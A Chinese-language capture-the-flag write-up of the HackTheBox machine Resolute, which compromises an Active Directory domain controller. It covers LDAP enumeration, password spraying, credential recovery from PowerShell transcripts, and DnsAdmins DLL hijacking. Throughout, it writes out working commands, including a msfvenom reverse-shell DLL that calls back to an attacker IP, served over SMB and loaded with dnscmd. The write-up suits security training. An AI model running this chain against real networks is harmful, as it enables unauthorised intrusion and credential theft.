HTB-Resolute:从密码喷洒到 DNS 插件劫持

一句话摘要

file-20260718153500262

一、Nmap#

TCP 全端口扫描:

提取开放端口:

Bash
$ cat tcp_ports.nmap | grep -oP '^\d+' | paste -s -d ','
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49676,49677,49686,49732

对开放端口进行详细扫描:

从开放的端口情况判断出目标是 AD 中的 DC。

将扫描结果中出现的域名添加到本地 hosts 文件中:

Bash
$ echo '10.129.96.155 Resolute.megabank.local megabank.local' | sudo tee -a /etc/hosts
10.129.96.155 Resolute.megabank.local megabank.local

nmap 针对 smb 服务进行的默认脚本扫描结果中有:

Text
authentication_level: user

这意味着 SMB 匿名枚举失效,验证:

Bash
$ smbmap -H 10.129.96.155 -u '' -p ''

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Access denied on 10.129.96.155, no fun for you...
[*] Closed 1 connections

二、枚举#

1、SMB#

尝试 guest 用户 + 空密码进行 SMB 共享枚举:

Bash
$ smbmap -H 10.129.96.155 -u 'guest' -p ''

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Access denied on 10.129.96.155, no fun for you...
[*] Closed 1 connections

没有结果。

2、LDAP#

LDAP 匿名查询用户:

整理成用户字典:

在 marko 用户的 Description 条目暴露了密码:

Text
Account created. Password set to Welcome123!

但 marko 似乎已经改掉了该初始密码:

Bash
$ netexec smb 10.129.96.155 -u 'marko' -p 'Welcome123!'
SMB         10.129.96.155   445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE

这会消耗一次密码尝试,为了避免出现锁号的现象,我打算进行 LDAP 匿名搜索,并在其中找账户锁定的相关条目:

Bash
$ ldapsearch -H ldap://10.129.96.155 -s base namingcontexts -x
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingContexts: DC=megabank,DC=local
namingContexts: CN=Configuration,DC=megabank,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=megabank,DC=local
namingContexts: DC=DomainDnsZones,DC=megabank,DC=local
namingContexts: DC=ForestDnsZones,DC=megabank,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
Bash
$ ldapsearch -H ldap://10.129.96.155 -b 'DC=megabank,DC=local' -x >> ldapsearch_results

$ cat ldapsearch_results | rg 'lockout' | awk '!seen[$0]++'
lockoutDuration: -18000000000
lockoutThreshold: 0

目标未开启账户锁定。

三、密码喷洒#

毕竟是账号创建时的默认密码,查看是否存在没有改初始凭证的账户:

Bash
$ netexec smb 10.129.96.155 -u users.txt -p 'Welcome123!'
SMB         10.129.96.155   445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\Administrator:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\Guest:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\krbtgt:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\abigail:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE
SMB         10.129.96.155   445    RESOLUTE         [+] megabank.local\melanie:Welcome123!

得到:

Text
melanie
Welcome123!

并且知道该账户可以登入 WinRM:

Bash
$ netexec winrm 10.129.96.155 -u 'melanie' -p 'Welcome123!'
WINRM       10.129.96.155   5985   RESOLUTE         [*] Windows 10 / Server 2016 Build 14393 (name:RESOLUTE) (domain:megabank.local)
WINRM       10.129.96.155   5985   RESOLUTE         [+] megabank.local\melanie:Welcome123! (Pwn3d!)

四、melanie shell#

通过 evil-winrm 工具获得 melanie shell:

Bash
$ evil-winrm -i 10.129.96.155 -u 'melanie' -p 'Welcome123!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents> 

在家目录中能看到 User Flag:

PowerShell
*Evil-WinRM* PS C:\Users\melanie\Desktop> cat user.txt
9acf***********************

在 C 盘根目录中能看到一个非常规目录,即 PSTranscripts:

PowerShell
*Evil-WinRM* PS C:\> ls -force


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        12/3/2019   6:40 AM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
d--hs-        9/25/2019  10:17 AM                Recovery
d--hs-        9/25/2019   6:25 AM                System Volume Information
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows
-arhs-       11/20/2016   5:59 PM         389408 bootmgr
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT
-a-hs-        7/27/2026   1:23 AM      402653184 pagefile.sys

其中能找到一个文件:

Bash
*Evil-WinRM* PS C:\PSTranscripts\20191203> ls -force


    Directory: C:\PSTranscripts\20191203


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-arh--        12/3/2019   6:45 AM           3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

这是是 PowerShell 的转录功能自动留下的日志文件,其中能看到一条命令:

PowerShell
*Evil-WinRM* PS C:\PSTranscripts\20191203> cat PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

[snip]
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
[snip]

PowerShell Transcription 会完整记录用户实际输入/执行的命令行。

它利用凭证信息:

Text
username: ryan
password: Serv3r4Admin4cc123!

将共享资源 \\fs01\backups 映射到了本地 X 盘。

五、ryan shell#

ryan 同样具备登入 WinRM 的权限:

Bash
$ netexec winrm 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'
WINRM       10.129.96.155   5985   RESOLUTE         [*] Windows 10 / Server 2016 Build 14393 (name:RESOLUTE) (domain:megabank.local)
WINRM       10.129.96.155   5985   RESOLUTE         [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)

通过 evil-winrm 获得 Shell:

Bash
$ evil-winrm -i 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'
Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\ryan\Documents>

在 Desktop 目录中能找到一份笔记:

PowerShell
*Evil-WinRM* PS C:\Users\ryan\Desktop> ls -force


    Directory: C:\Users\ryan\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        12/3/2019   7:34 AM            155 note.txt

其内容:

PowerShell
*Evil-WinRM* PS C:\Users\ryan\Desktop> cat note.txt
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute

除管理员账户外的任何系统变更都将在 1 分钟内自动回滚。

查看该用户的组情况:

Bash
*Evil-WinRM* PS C:\> net user ryan /domain
User name                    ryan
Full Name                    Ryan Bertrand
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            7/27/2026 3:04:03 AM
Password expires             Never
Password changeable          7/28/2026 3:04:03 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   7/27/2026 2:58:34 AM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Contractors
The command completed successfully.

我注意到一个组名 DnsAdmins。

六、DnsAdmins#

根据微软官方的描述,该组的成员可以访问网络 DNS 信息。默认情况下,该组成员被授予以下权限:读取(Read)、写入(Write)、创建所有子对象(Create All Child objects)、删除子对象(Delete Child objects)以及特殊权限(Special Permissions)。只有当域中某台域控制器曾经安装过(或当前仍安装着)DNS 服务器角色(DNS server role)时,该组才会存在。

这篇文章详细讲述了该组的提权思路,以及这个技巧的来龙去脉。

安全研究员 Shay Ber 在查看微软协议文档的时候,发现 DNS Server 需要提供一个名为 ServerLevelPluginDll 的属性,用于指定动态链接库的绝对路径,DNS Server 可以使用该库来解析未知名称。

微软官方提供了 dnscmd 可以很方便的对该属性进行赋值:

PowerShell
dnscmd.exe /config /serverlevelplugindll \\path\to\dll

而且,研究员通过逆向分析验证了 DLL 路径不会被校验。

因此,可以指定一个恶意 DLL 来实现提权。

DNS Server 通常由高权限账户运行。

用 msfvenom 生成恶意 DLL:

Bash
$ msfvenom -p windows/x64/shell_reverse_tcp -f dll LHOST=10.10.16.64 LPORT=4444 -o rev.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: rev.dll

选取 payload 的时候,注意选择正确的架构,以及选择不分段的 payload(选 shell_reverse 而不是 shell/reverse),这点在 Beyond Root 中会提到。

在有恶意 DLL 的目录上运行 SMB Server:

Bash
$ sudo /home/zyf/.local/bin/smbserver.py share . -smb2support

Impacket v0.14.0.dev0+20260715.13927.137441c1 - Copyright Fortra, LLC and its affiliated companies

在本地监听 4444 端口:

Bash
$ nc -lvnp 4444
Listening on 0.0.0.0 4444

使用 dnscmd 给 serverlevelplugindll 属性赋值:

PowerShell
*Evil-WinRM* PS C:\Users\ryan> dnscmd.exe /config /serverlevelplugindll \\10.10.16.64\share\rev.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

这里选择“指定远端 SMB 共享文件”而不是直接上传到本地的原因:若 DLL 有误,本地直接重新生成更方便,而且还不用在目标服务器上落地恶意文件,更符合 OPSEC。

并重启 DNS 服务:

PowerShell
*Evil-WinRM* PS C:\Users\ryan> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
*Evil-WinRM* PS C:\Users\ryan> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 3196
        FLAGS              :

返回了 SYSTEM Shell:

Bash
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.96.155 55341
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

在 Administrator 的 Desktop 目录中能找到 Root Flag:

PowerShell
c:\Users\Administrator\Desktop>type root.txt
type root.txt
dd1a*********************

七、Beyond Root#

1、sc in evil-winrm#

在 evil-winrm 中,sc 是 Set-Content:

PowerShell
*Evil-WinRM* PS C:\Users\ryan> get-command sc

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           sc -> Set-Content

而正常 Powershell 中的 sc 才代表 sc.exe:

PowerShell
get-Command sc

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Application     sc.exe                                             10.0.2610… C:\Windows\system32\sc.exe

这也是为什么重启 DNS 服务需要用全称而不是缩写。

2、恶意 DLL#

在那篇安全研究员的文章中,提到恶意 DLL 需要满足:

  • DLL 被正确加载(路径)
  • DLL 中包含导出函数(DnsPluginInitialize、DnsPluginCleanup 或 DnsPluginQuery)

但是我通过反编译 msfvenom 生成的 DLL 文件,发现其中并没有导出函数:

Bash
$ r2 -A evil.dll
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Running plugin pre-analysis hooks
INFO: Analyze all functions arguments/locals (afva@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis

[0x10001170]> iE
nth paddr vaddr bind type size lib name demangled
―――――――――――――――――――――――――――――――――――――――――――――――――

这会导致 DNS 卡住或者崩溃。

但是,DLL 中的脚本会照常运行,这也是“反弹 Shell 成功”的原因。

至于上面提到的“为什么不能用分阶段的 payload”,也是因为恶意 DLL 不包含导出函数。

DNS Server 进程随时可能崩溃,导致第一阶段的 payload 上传之后,无法继续拉取后阶段的 payload 从而导致反弹 Shell 失败。

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做